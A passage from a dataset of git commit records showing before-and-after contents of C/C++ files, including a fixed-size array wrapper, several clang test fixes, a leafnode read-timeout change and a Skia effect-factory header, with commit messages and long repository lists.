closing.\n","lang":"C","license":"mpl-2.0","repos":"ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita"}
{"commit":"bb076f20a329b171930f18ac5e4efb39fd8a6288","old_file":"libmue\/team_container.h","new_file":"libmue\/team_container.h","old_contents":"","new_contents":"#ifndef MUE__TEAM_CONTAINER\n#define MUE__TEAM_CONTAINER\n\n#include <array>\n#include <vector>\n\n#include <string.h>\n\n#include <boost\/assert.hpp>\n\n#include \"config.h\"\n\nnamespace mue {\n\ntemplate <typename T, std::size_t NUM>\nclass Limited_array\n{\n\tprivate:\n\t\tusing _Value_type = T;\n\t\tusing _Array = std::array<_Value_type, NUM>;\n\n\t\tstd::size_t _len;\n\t\t_Array _array;\n\n\tpublic:\n\t\tLimited_array() : _len(0) { }\n\n\t\tLimited_array(std::size_t len) : _len(len) { BOOST_ASSERT( _len <= NUM); }\n\n\t\tLimited_array(Limited_array<_Value_type, NUM> const &other)\n\t\t:\n\t\t\t_len(other._len),\n\t\t\t_array(other._array)\n\t\t{ }\n\n\t\tLimited_array(std::initializer_list<_Value_type> const &values)\n\t\t:\n\t\t\t_len(values.size())\n\t\t{\n\t\t\tstd::size_t idx(0);\n\t\t\tfor (const _Value_type& value : values)\n\t\t\t\t_array[idx++] = value;\n\t\t}\n\n\t\tLimited_array(std::vector<_Value_type> const &other)\n\t\t:\n\t\t\t_len(other.size())\n\t\t{\n\t\t\tBOOST_ASSERT( _len <= NUM );\n\t\t\tmemcpy(_array.data(), other.data(), sizeof(_Value_type) * _len);\n\t\t}\n\n\t\tstd::size_t size() const noexcept { return _len; }\n\n\t\ttypedef typename _Array::iterator iterator;\n\t\ttypedef typename _Array::const_iterator const_iterator;\n\t\ttypedef typename _Array::value_type value_type;\n\n\t\tconst_iterator begin() const noexcept { return _array.begin(); }\n\t\titerator begin() noexcept { return _array.begin(); }\n\n\t\tconst_iterator end() const noexcept { return _array.begin() + _len; }\n\t\titerator end() noexcept { return _array.begin() + _len; }\n\n\t\tconst value_type& operator[](std::size_t elem) const noexcept\n\t\t{\n\t\t\tBOOST_ASSERT( elem < _len );\n\t\t\treturn _array[elem];\n\t\t}\n\t\tvalue_type& operator[](std::size_t elem) noexcept\n\t\t{\n\t\t\tBOOST_ASSERT( elem < _len );\n\t\t\treturn _array[elem];\n\t\t}\n};\n\ntypedef Limited_array<Team_id, MAX_TEAMS \/ 3>       Hosts;\ntypedef Limited_array<Team_id, (MAX_TEAMS \/ 3) * 2> Guests;\ntypedef Limited_array<Team_id, MAX_TEAMS>           Teams;\n\n}\n\n#endif\n","subject":"Add a simple wrapper around std::array","message":"Add a simple wrapper around std::array\n\nThis is a simple container backed by a std::array that can be limited\nin it length. It should be faster that std::vector because it has no\nneed for dynamic memory management.\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool"}
{"commit":"6b2564c5d968657a35025239ee681f288d83be41","old_file":"test\/Sema\/vla.c","new_file":"test\/Sema\/vla.c","old_contents":"\/\/ RUN: clang %s -verify -fsyntax-only\n\nint test1() {\n  typedef int x[test1()];  \/\/ vla\n  static int y = sizeof(x);  \/\/ expected-error {{not constant}}\n}\n\n\/\/ PR2347\nvoid f (unsigned int m)\n{\n  extern int e[2][m];\n\n  e[0][0] = 0;\n}\n\n","new_contents":"\/\/ RUN: clang %s -verify -fsyntax-only\n\nint test1() {\n  typedef int x[test1()];  \/\/ vla\n  static int y = sizeof(x);  \/\/ expected-error {{not constant}}\n}\n\n\/\/ PR2347\nvoid f (unsigned int m)\n{\n  int e[2][m];\n\n  e[0][0] = 0;\n}\n\n","subject":"Fix this test so that it's valid; the point is to test for the crash, not the missing diagnostic.","message":"Fix this test so that it's valid; the point is to test for the crash, \nnot the missing diagnostic.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@51365 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"1b64723ef89dc74d6b6079332dfc1a6aacf81a5a","old_file":"timeout_getaline.c","new_file":"timeout_getaline.c","old_contents":"#include \"leafnode.h\"\n#include \"ln_log.h\"\n\n#include <signal.h>\n#include <setjmp.h>\n#include <unistd.h>\n\nstatic jmp_buf to;\nstatic void\ntimer(int sig)\n{\n    (void)sig;\n    longjmp(to, 1);\n}\n\n\/*\n * call getaline with timeout\n *\/\nchar *\ntimeout_getaline(FILE * f, int timeout)\n{\n    char *l;\n\n    if (setjmp(to)) {\n\tln_log(LNLOG_SERR, LNLOG_CTOP, \"timeout reading.\");\n\treturn NULL;\n    }\n    (void)signal(SIGALRM, timer);\n    (void)alarm(timeout);\n    l = getaline(f);\n    (void)alarm(0U);\n    return l;\n}\n\nchar *\nmgetaline(FILE * f)\n{\n    return timeout_getaline(f, 120);\n}\n","new_contents":"#include \"leafnode.h\"\n#include \"ln_log.h\"\n\n#include <signal.h>\n#include <setjmp.h>\n#include <unistd.h>\n\nstatic jmp_buf to;\nstatic void\ntimer(int sig)\n{\n    (void)sig;\n    longjmp(to, 1);\n}\n\n\/*\n * call getaline with timeout\n *\/\nchar *\ntimeout_getaline(FILE * f, int timeout)\n{\n    char *l;\n\n    if (setjmp(to)) {\n\tln_log(LNLOG_SERR, LNLOG_CTOP, \"timeout reading.\");\n\treturn NULL;\n    }\n    (void)signal(SIGALRM, timer);\n    (void)alarm(timeout);\n    l = getaline(f);\n    (void)alarm(0U);\n    return l;\n}\n\nchar *\nmgetaline(FILE * f)\n{\n    return timeout_getaline(f, 300);\n}\n","subject":"Change timeout from 2 to 5 minutes, Jörg Dietrich had suggested to Change timeout from 2 to 5 minutes, Jörg Dietrich had suggested to increase it to 3 minutes, to correspond with current NNTP drafts.","message":"Change timeout from 2 to 5 minutes, Jörg Dietrich had suggested to\nChange timeout from 2 to 5 minutes, Jörg Dietrich had suggested to\nincrease it to 3 minutes, to correspond with current NNTP drafts.\n","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"c11b389556d4feec943ced7eeb3125a598d3bba4","old_file":"test\/Driver\/darwin-eabi.c","new_file":"test\/Driver\/darwin-eabi.c","old_contents":"\/\/ RUN: %clang -arch armv7 -target thumbv7-apple-darwin-eabi -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-AAPCS\n\/\/ RUN: %clang -arch armv7 -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-APCS\n\/\/ RUN: %clang -arch armv7s -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-APCS\n\/\/ RUN: %clang -arch armv7s -target thumbv7-apple-darwin -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-APCS\n\n\/\/ CHECK-AAPCS: \"-target-abi\" \"aapcs\"\n\/\/ CHECK-APCS: \"-target-abi\" \"apcs-gnu\"\n","new_contents":"\/\/ RUN: %clang -arch armv7 -target thumbv7-apple-darwin-eabi -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-AAPCS\n\/\/ RUN: %clang -arch armv7s -target thumbv7-apple-ios -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-APCS\n\/\/ RUN: %clang -arch armv7s -target thumbv7-apple-darwin -### -c %s 2>&1 | FileCheck %s --check-prefix=CHECK-APCS\n\n\/\/ CHECK-AAPCS: \"-target-abi\" \"aapcs\"\n\/\/ CHECK-APCS: \"-target-abi\" \"apcs-gnu\"\n","subject":"Fix test to work on Linux hosts by specifying triple.","message":"Fix test to work on Linux hosts by specifying triple.\n\nThought I'd checked that before\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@191901 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c665d9cee82b12dc9ab1eff25d445eb74a6e5863","old_file":"test\/CodeGen\/thinlto-debug-pm.c","new_file":"test\/CodeGen\/thinlto-debug-pm.c","old_contents":"\/\/ Test to ensure -fdebug-pass-manager works when invoking the\n\/\/ ThinLTO backend path with the new PM.\n\/\/ RUN: %clang -O2 %s -flto=thin -c -o %t.o\n\/\/ RUN: llvm-lto -thinlto -o %t %t.o\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-linux-gnu -emit-obj -O2 -o %t2.o -x ir %t.o -fthinlto-index=%t.thinlto.bc -fdebug-pass-manager -fexperimental-new-pass-manager 2>&1 | FileCheck %s\n\/\/ CHECK: Running pass:\n\nvoid foo() {\n}\n","new_contents":"\/\/ Test to ensure -fdebug-pass-manager works when invoking the\n\/\/ ThinLTO backend path with the new PM.\n\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang -O2 %s -flto=thin -c -o %t.o\n\/\/ RUN: llvm-lto -thinlto -o %t %t.o\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-linux-gnu -emit-obj -O2 -o %t2.o -x ir %t.o -fthinlto-index=%t.thinlto.bc -fdebug-pass-manager -fexperimental-new-pass-manager 2>&1 | FileCheck %s\n\/\/ CHECK: Running pass:\n\nvoid foo() {\n}\n","subject":"Add x86-registered-target to REQUIRES for new test","message":"Add x86-registered-target to REQUIRES for new test\n\nShould fix test added in r317951.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@317952 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"cb63e07c588dc7030f3f41812dea73f3571e449a","old_file":"test\/Frontend\/diagnostic-name.c","new_file":"test\/Frontend\/diagnostic-name.c","old_contents":"\/\/ RUN: %clang -Wunused-parameter -fdiagnostics-show-name %s 2>&1 | grep \"\\[warn_unused_parameter\\]\" | count 1\n\/\/ RUN: %clang -Wunused-parameter -fno-diagnostics-show-name %s 2>&1 | grep \"\\[warn_unused_parameter\\]\" | count 0\nint main(int argc, char *argv[]) {\n  return argc;\n}\n","new_contents":"\/\/ RUN: %clang -fsyntax-only -Wunused-parameter -fdiagnostics-show-name %s 2>&1 | grep \"\\[warn_unused_parameter\\]\" | count 1\n\/\/ RUN: %clang -fsyntax-only -Wunused-parameter -fno-diagnostics-show-name %s 2>&1 | grep \"\\[warn_unused_parameter\\]\" | count 0\nint main(int argc, char *argv[]) {\n  return argc;\n}\n","subject":"Stop leaving a.out files around.","message":"Stop leaving a.out files around.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@131396 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"88cd7aa7965d5a7bade3f943e1419cf0c59d225b","old_file":"config_vc.h","new_file":"config_vc.h","old_contents":"﻿#ifndef HMLIB_CONFIGVC_INC\n#define HMLIB_CONFIGVC_INC 101\n#\n\/*===config_vc===\nVisualStudio C\/C++の設定用マクロ\n\nconfig_vc_v1_01\/121204 hmIto\n\t拡張子をhppからhに変更\n\tインクルードガードマクロの不要なアンダーバーを消去\n*\/\n#ifdef _MSC_VER\n#\t\/\/windows.hのmin,maxを使わせない\n#\tifndef NOMINMAX\n#\t\tdefine NOMINMAX\n#\tendif\n#\t\/\/古いunsafeな関数群使用による警告回避\n#\tdefine _CRT_SECURE_NO_WARNINGS\n#\tdefine _AFX_SECURE_NO_WARNINGS\n#\tdefine _ATL_SECURE_NO_WARNINGS\n#\tdefine _SCL_SECURE_NO_WARNINGS\n#endif\n#\n#endif\n","new_contents":"﻿#ifndef HMLIB_CONFIGVC_INC\n#define HMLIB_CONFIGVC_INC 101\n#\n\/*===config_vc===\nVisualStudio C\/C++の設定用マクロ\n\nconfig_vc_v1_01\/121204 hmIto\n\t拡張子をhppからhに変更\n\tインクルードガードマクロの不要なアンダーバーを消去\n*\/\n#ifdef _MSC_VER\n#\t\/\/windows.hのmin,maxを使わせない\n#\tifndef NOMINMAX\n#\t\tdefine NOMINMAX\n#\tendif\n#\t\/\/古いunsafeな関数群使用による警告回避\n#\tdefine _CRT_SECURE_NO_WARNINGS\n#\tdefine _AFX_SECURE_NO_WARNINGS\n#\tdefine _ATL_SECURE_NO_WARNINGS\n#\tdefine _SCL_SECURE_NO_WARNINGS\n#\tdefine _SILENCE_CXX17_ITERATOR_BASE_CLASS_DEPRECATION_WARNING\n#\tdefine _SILENCE_ALL_CXX17_DEPRECATION_WARNINGS\n\n#endif\n#\n#endif\n","subject":"Add C++17 depricated error ignore tag.","message":"Add C++17 depricated error ignore tag.\n\n","lang":"C","license":"mit","repos":"hmito\/hmLib,hmito\/hmLib"}
{"commit":"56315b979b4a10e3f722f63d6e042e217712c6c0","old_file":"include\/gpu\/GrTBackendEffectFactory.h","new_file":"include\/gpu\/GrTBackendEffectFactory.h","old_contents":"","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrTBackendEffectFactory_DEFINED\n#define GrTBackendEffectFactory_DEFINED\n\n#include \"GrBackendEffectFactory.h\"\n#include \"GrEffectStage.h\"\n\n\/**\n * Implements GrBackendEffectFactory for a GrEffect subclass as a singleton.\n *\/\ntemplate <typename EffectClass>\nclass GrTBackendEffectFactory : public GrBackendEffectFactory {\n\npublic:\n    typedef typename EffectClass::GLEffect GLEffect;\n\n    \/** Returns a human-readable name that is accessible via GrEffect or\n        GrGLEffect and is consistent between the two of them.\n     *\/\n    virtual const char* name() const SK_OVERRIDE { return EffectClass::Name(); }\n\n    \/** Returns a value that identifies the GLSL shader code generated by\n        a GrEffect. This enables caching of generated shaders. Part of the\n        id identifies the GrEffect subclass. The remainder is based\n        on the aspects of the GrEffect object's configuration that affect\n        GLSL code generation. *\/\n    virtual EffectKey glEffectKey(const GrEffectStage& stage,\n                                  const GrGLCaps& caps) const SK_OVERRIDE {\n        GrAssert(kIllegalEffectClassID != fEffectClassID);\n        EffectKey effectKey = GLEffect::GenKey(stage, caps);\n        EffectKey textureKey = GLEffect::GenTextureKey(*stage.getEffect(), caps);\n#if GR_DEBUG\n        static const EffectKey kIllegalIDMask = (uint16_t) (~((1U << kEffectKeyBits) - 1));\n        GrAssert(!(kIllegalIDMask & effectKey));\n\n        static const EffectKey kIllegalTextureKeyMask = (uint16_t) (~((1U << kTextureKeyBits) - 1));\n        GrAssert(!(kIllegalTextureKeyMask & textureKey));\n#endif\n        return fEffectClassID | (textureKey << kEffectKeyBits) | effectKey;\n    }\n\n    \/** Returns a new instance of the appropriate *GL* implementation class\n        for the given GrEffect; caller is responsible for deleting\n        the object. *\/\n    virtual GLEffect* createGLInstance(const GrEffect& effect) const SK_OVERRIDE {\n        return SkNEW_ARGS(GLEffect, (*this, effect));\n    }\n\n    \/** This class is a singleton. This function returns the single instance.\n     *\/\n    static const GrBackendEffectFactory& getInstance() {\n        static SkAlignedSTStorage<1, GrTBackendEffectFactory> gInstanceMem;\n        static const GrTBackendEffectFactory* gInstance;\n        if (!gInstance) {\n            gInstance = SkNEW_PLACEMENT(gInstanceMem.get(),\n                                        GrTBackendEffectFactory);\n        }\n        return *gInstance;\n    }\n\nprotected:\n    GrTBackendEffectFactory() {\n        fEffectClassID = GenID() << (kEffectKeyBits + kTextureKeyBits) ;\n    }\n};\n\n#endif\n","subject":"Add file accidentally omitted from r6182.","message":"Add file accidentally omitted from r6182.\n\n\ngit-svn-id: fe2049e5d81cf1423cb2a2a3211c731fbdf7e559@6186 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"MonkeyZZZZ\/platform_external_skia,YUPlayGodDev\/platform_external_skia,sombree\/android_external_skia,Tesla-Redux\/android_external_skia,Infinitive-OS\/platform_external_skia,houst0nn\/external_skia,MinimalOS-AOSP\/platform_external_skia,AOSP-YU\/platform_external_skia,TeamTwisted\/external_skia,Samsung\/skia,Hybrid-Rom\/external_skia,spezi77\/android_external_skia,PAC-ROM\/android_external_skia,HalCanary\/skia-hc,YUPlayGodDev\/platform_external_skia,geekboxzone\/mmallow_external_skia,sigysmund\/platform_external_skia,suyouxin\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,akiss77\/skia,noselhq\/skia,geekboxzone\/mmallow_external_skia,Samsung\/skia,DARKPOP\/external_chromium_org_third_party_skia,houst0nn\/external_skia,Omegaphora\/external_skia,DiamondLovesYou\/skia-sys,Hybrid-Rom\/external_skia,AOSP-YU\/platform_external_skia,MinimalOS\/android_external_skia,DesolationStaging\/android_external_skia,ench0\/external_chromium_org_third_party_skia,nox\/skia,TeamEOS\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,OneRom\/external_skia,wildermason\/external_skia,Hikari-no-Tenshi\/android_external_skia,HealthyHoney\/temasek_SKIA,qrealka\/skia-hc,MinimalOS\/android_external_skia,byterom\/android_external_skia,larsbergstrom\/skia,HalCanary\/skia-hc,OptiPop\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,Fusion-Rom\/android_external_skia,pcwalton\/skia,F-AOSP\/platform_external_skia,UBERMALLOW\/external_skia,AOSP-YU\/platform_external_skia,vvuk\/skia,RadonX-ROM\/external_skia,wildermason\/external_skia,TeamBliss-LP\/android_external_skia,AOSPB\/external_skia,jtg-gg\/skia,shahrzadmn\/skia,chenlian2015\/skia_from_google,byterom\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Pure-Aosp\/android_external_skia,Infusion-OS\/android_external_skia,nvoron23\/skia,mozilla-b2g\/external_skia,TeamExodus\/external_skia,Purity-Lollipop\/platform_external_skia,Tesla-Redux\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,amyvmiwei\/skia,OneRom\/external_skia,wildermason\/external_skia,geekboxzone\/lollipop_external_skia,byterom\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,sigysmund\/platform_external_skia,Khaon\/android_external_skia,nvoron23\/skia,RadonX-ROM\/external_skia,RadonX-ROM\/external_skia,Khaon\/android_external_skia,TeslaProject\/external_skia,MinimalOS-AOSP\/platform_external_skia,ctiao\/platform-external-skia,Purity-Lollipop\/platform_external_skia,tmpvar\/skia.cc,F-AOSP\/platform_external_skia,DiamondLovesYou\/skia-sys,BrokenROM\/external_skia,Purity-Lollipop\/platform_external_skia,VentureROM-L\/android_external_skia,MarshedOut\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,jtg-gg\/skia,AOSPA-L\/android_external_skia,todotodoo\/skia,Khaon\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,FusionSP\/android_external_skia,mydongistiny\/android_external_skia,Infusion-OS\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,OneRom\/external_skia,ench0\/external_skia,Jichao\/skia,NamelessRom\/android_external_skia,Plain-Andy\/android_platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,temasek\/android_external_skia,AOSPA-L\/android_external_skia,Infinitive-OS\/platform_external_skia,pcwalton\/skia,zhaochengw\/platform_external_skia,Igalia\/skia,SlimSaber\/android_external_skia,pacerom\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Samsung\/skia,jtg-gg\/skia,ench0\/external_skia,aospo\/platform_external_skia,jtg-gg\/skia,MinimalOS\/android_external_skia,todotodoo\/skia,zhaochengw\/platform_external_skia,TeamBliss-LP\/android_external_skia,DesolationStaging\/android_external_skia,OneRom\/external_skia,invisiblek\/android_external_skia,todotodoo\/skia,mmatyas\/skia,larsbergstrom\/skia,ench0\/external_chromium_org_third_party_skia,ominux\/skia,SlimSaber\/android_external_skia,RadonX-ROM\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,OptiPop\/external_skia,aosp-mirror\/platform_external_skia,Tesla-Redux\/android_external_skia,ctiao\/platform-external-skia,temasek\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,rubenvb\/skia,noselhq\/skia,jtg-gg\/skia,todotodoo\/skia,fire855\/android_external_skia,aosp-mirror\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,ench0\/external_skia,mozilla-b2g\/external_skia,larsbergstrom\/skia,F-AOSP\/platform_external_skia,w3nd1go\/android_external_skia,geekboxzone\/mmallow_external_skia,byterom\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,samuelig\/skia,mydongistiny\/external_chromium_org_third_party_skia,byterom\/android_external_skia,YUPlayGodDev\/platform_external_skia,ominux\/skia,FusionSP\/android_external_skia,Khaon\/android_external_skia,vanish87\/skia,ominux\/skia,TeamExodus\/external_skia,Asteroid-Project\/android_external_skia,UBERMALLOW\/external_skia,Igalia\/skia,boulzordev\/android_external_skia,AOSPB\/external_skia,BrokenROM\/external_skia,aosp-mirror\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,MyAOSP\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,Asteroid-Project\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,DARKPOP\/external_chromium_org_third_party_skia,nox\/skia,Tesla-Redux\/android_external_skia,xzzz9097\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,Android-AOSP\/external_skia,SlimSaber\/android_external_skia,DesolationStaging\/android_external_skia,Infinitive-OS\/platform_external_skia,AsteroidOS\/android_external_skia,Hybrid-Rom\/external_skia,nox\/skia,akiss77\/skia,Omegaphora\/external_skia,TeamTwisted\/external_skia,xzzz9097\/android_external_skia,HealthyHoney\/temasek_SKIA,GladeRom\/android_external_skia,PAC-ROM\/android_external_skia,aosp-mirror\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,Tesla-Redux\/android_external_skia,zhaochengw\/platform_external_skia,chenlian2015\/skia_from_google,vvuk\/skia,NamelessRom\/android_external_skia,scroggo\/skia,fire855\/android_external_skia,Hybrid-Rom\/external_skia,spezi77\/android_external_skia,TeamExodus\/external_skia,Hybrid-Rom\/external_skia,qrealka\/skia-hc,AOSPB\/external_skia,FusionSP\/external_chromium_org_third_party_skia,mmatyas\/skia,noselhq\/skia,BrokenROM\/external_skia,Android-AOSP\/external_skia,Khaon\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,aospo\/platform_external_skia,Samsung\/skia,MinimalOS\/external_skia,Purity-Lollipop\/platform_external_skia,OneRom\/external_skia,shahrzadmn\/skia,Samsung\/skia,MinimalOS\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,Plain-Andy\/android_platform_external_skia,google\/skia,MIPS\/external-chromium_org-third_party-skia,pacerom\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,TeamExodus\/external_skia,google\/skia,UBERMALLOW\/external_skia,houst0nn\/external_skia,AOSP-YU\/platform_external_skia,HalCanary\/skia-hc,wildermason\/external_skia,boulzordev\/android_external_skia,F-AOSP\/platform_external_skia,larsbergstrom\/skia,geekboxzone\/mmallow_external_skia,w3nd1go\/android_external_skia,DesolationStaging\/android_external_skia,AsteroidOS\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,UBERMALLOW\/external_skia,nvoron23\/skia,sombree\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,mydongistiny\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,BrokenROM\/external_skia,mmatyas\/skia,TeslaOS\/android_external_skia,samuelig\/skia,vvuk\/skia,geekboxzone\/lollipop_external_skia,akiss77\/skia,google\/skia,TeamEOS\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,pcwalton\/skia,Euphoria-OS-Legacy\/android_external_skia,PAC-ROM\/android_external_skia,nox\/skia,Tesla-Redux\/android_external_skia,sigysmund\/platform_external_skia,nfxosp\/platform_external_skia,Pure-Aosp\/android_external_skia,temasek\/android_external_skia,fire855\/android_external_skia,InfinitiveOS\/external_skia,sigysmund\/platform_external_skia,OptiPop\/external_skia,nox\/skia,AOSP-YU\/platform_external_skia,byterom\/android_external_skia,DesolationStaging\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,Jichao\/skia,android-ia\/platform_external_chromium_org_third_party_skia,tmpvar\/skia.cc,invisiblek\/android_external_skia,xzzz9097\/android_external_skia,timduru\/platform-external-skia,chenlian2015\/skia_from_google,OneRom\/external_skia,FusionSP\/android_external_skia,vanish87\/skia,sudosurootdev\/external_skia,MinimalOS-AOSP\/platform_external_skia,temasek\/android_external_skia,Android-AOSP\/external_skia,wildermason\/external_skia,TeamBliss-LP\/android_external_skia,Infusion-OS\/android_external_skia,RadonX-ROM\/external_skia,zhaochengw\/platform_external_skia,spezi77\/android_external_skia,TeamEOS\/external_skia,houst0nn\/external_skia,invisiblek\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,larsbergstrom\/skia,MarshedOut\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,HalCanary\/skia-hc,Omegaphora\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,pacerom\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,TeamExodus\/external_skia,tmpvar\/skia.cc,rubenvb\/skia,nfxosp\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,Igalia\/skia,nvoron23\/skia,fire855\/android_external_skia,wildermason\/external_skia,FusionSP\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,FusionSP\/android_external_skia,pcwalton\/skia,Android-AOSP\/external_skia,Igalia\/skia,BrokenROM\/external_skia,aosp-mirror\/platform_external_skia,Igalia\/skia,amyvmiwei\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,Samsung\/skia,mydongistiny\/android_external_skia,w3nd1go\/android_external_skia,timduru\/platform-external-skia,Khaon\/android_external_skia,shahrzadmn\/skia,sudosurootdev\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,Plain-Andy\/android_platform_external_skia,sombree\/android_external_skia,codeaurora-unoffical\/platform-external-skia,CyanogenMod\/android_external_chromium_org_third_party_skia,nox\/skia,RadonX-ROM\/external_skia,Infinitive-OS\/platform_external_skia,jtg-gg\/skia,temasek\/android_external_skia,NamelessRom\/android_external_skia,vanish87\/skia,VRToxin-AOSP\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,YUPlayGodDev\/platform_external_skia,sombree\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,MarshedOut\/android_external_skia,ominux\/skia,MyAOSP\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,TeamEOS\/external_skia,vanish87\/skia,Pure-Aosp\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,invisiblek\/android_external_skia,MonkeyZZZZ\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Euphoria-OS-Legacy\/android_external_skia,suyouxin\/android_external_skia,MarshedOut\/android_external_s